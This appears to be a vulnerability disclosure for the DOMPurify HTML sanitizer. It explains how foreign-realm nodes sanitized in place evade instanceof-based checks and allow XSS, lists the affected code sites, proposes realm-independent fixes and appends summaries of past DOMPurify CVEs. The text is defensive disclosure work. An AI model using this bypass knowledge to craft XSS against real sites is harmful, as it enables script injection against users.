XSS triggers when the consuming code: - Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus). - Clones template content with importNode / cloneNode(true) / node.appendChild(template.content) into the live DOM. - Appends the shadow host to the live document (the shadow root becomes active and <img onerror> fires synchronously during the insertion microtask).

Indirect / second-order

- DOM-based template engines (Lit, Polymer, Vue, FAST) that often use foreign-realm <template> parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped. - Editor / WYSIWYG frameworks that render preview content inside a same-origin iframe and then move it into the main document after sanitization. - Email/HTML preview libraries that parse received HTML in an isolated iframe to neutralize CSS / <base> / form submission, then sanitize via the main page's DOMPurify. - Declarative shadow DOM consumers that adopt a host from one realm into another — the shadow subtree carries the bypass.

The known prior INPLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound instanceof checks at [A], [B], [C]; current main HEAD is still affected.

Root cause

Per-realm constructors. instanceof X checks the prototype chain against the parent realm's X.prototype. Foreign-realm objects have a different X.prototype and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for INPLACE sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: "we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root."

Other realm-bound instanceof sites in the same file that should likely be audited as part of the same fix sweep:

ts element instanceof HTMLFormElement // src/purify.ts:1122 element.attributes instanceof NamedNodeMap // src/purify.ts:1126 sr instanceof DocumentFragment // src/purify.ts:1706 currentNode.content instanceof DocumentFragment // src/purify.ts:1861 shadowNode.content instanceof DocumentFragment // src/purify.ts:1660 (approx) currentNode instanceof Element // src/purify.ts:1296 (callsite of checkValidNamespace)

Suggested fix

Use realm-independent shape checks consistently for any decision made on a node accepted from INPLACE:

1. HTMLFormElement detection — compare via the realm-independent getNodeName cached prototype getter introduced for the recent shadow-root traversal hardening:

ts const isClobbered = function (element: Element): boolean { const nn = getNodeName ? getNodeName(element) : element.nodeName; if (typeof nn !== 'string' || transformCaseFunc(nn) !== 'form') return false; // ... rest of the typeof / cached-getter shape checks ... };

2. DocumentFragment detection — nodeType === NODETYPE.documentFragment (i.e., 11), not instanceof DocumentFragment. The check is already realm-independent because Node.nodeType is a numeric constant. Same change for the <template>-content and attached-shadow-root recursion sites.

3. NamedNodeMap detection — read element.attributes via the cached Element.prototype.attributes getter (introduce getAttributes = lookupGetter(ElementPrototype, 'attributes')) and verify nodeType === 11-style shape (length is a number, indexed [i] returns objects with .name/.value strings). Do not rely on instanceof NamedNodeMap.

4. Element detection at :1296 — replace currentNode instanceof Element with a shape check (getNodeType(currentNode) === NODETYPE.element).

The invariant the fix should encode: once INPLACE accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe. The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.

DOMPurify could allow a remote authenticated attacker to execute arbitrary code on the system, caused by a prototype pollution. By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code on the system.

DOMPurify before 3.2.4 has an incorrect template literal regular expression when SAFEFORTEMPLATES is set to true, sometimes leading to mutation cross-site scripting (mXSS).

DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. DOMpurify was vulnerable to nesting-based mXSS. This vulnerability is fixed in 2.5.0 and 3.1.3.

DOMPurify before 1.0.11 allows reverse tabnabbing in demos/hooks-target-blank-demo.html because links lack a 'rel="noopener noreferrer"' attribute.

DOMPurify before 2.0.1 allows XSS because of innerHTML mutation XSS (mXSS) for an SVG element or a MATH element, as demonstrated by Chrome and Safari.

Cure53 DOMPurify before 2.0.17 allows mutation XSS. This occurs because a serialize-parse roundtrip does not necessarily return the original DOM tree, and a namespace can change from HTML to MathML, as demonstrated by nesting of FORM elements.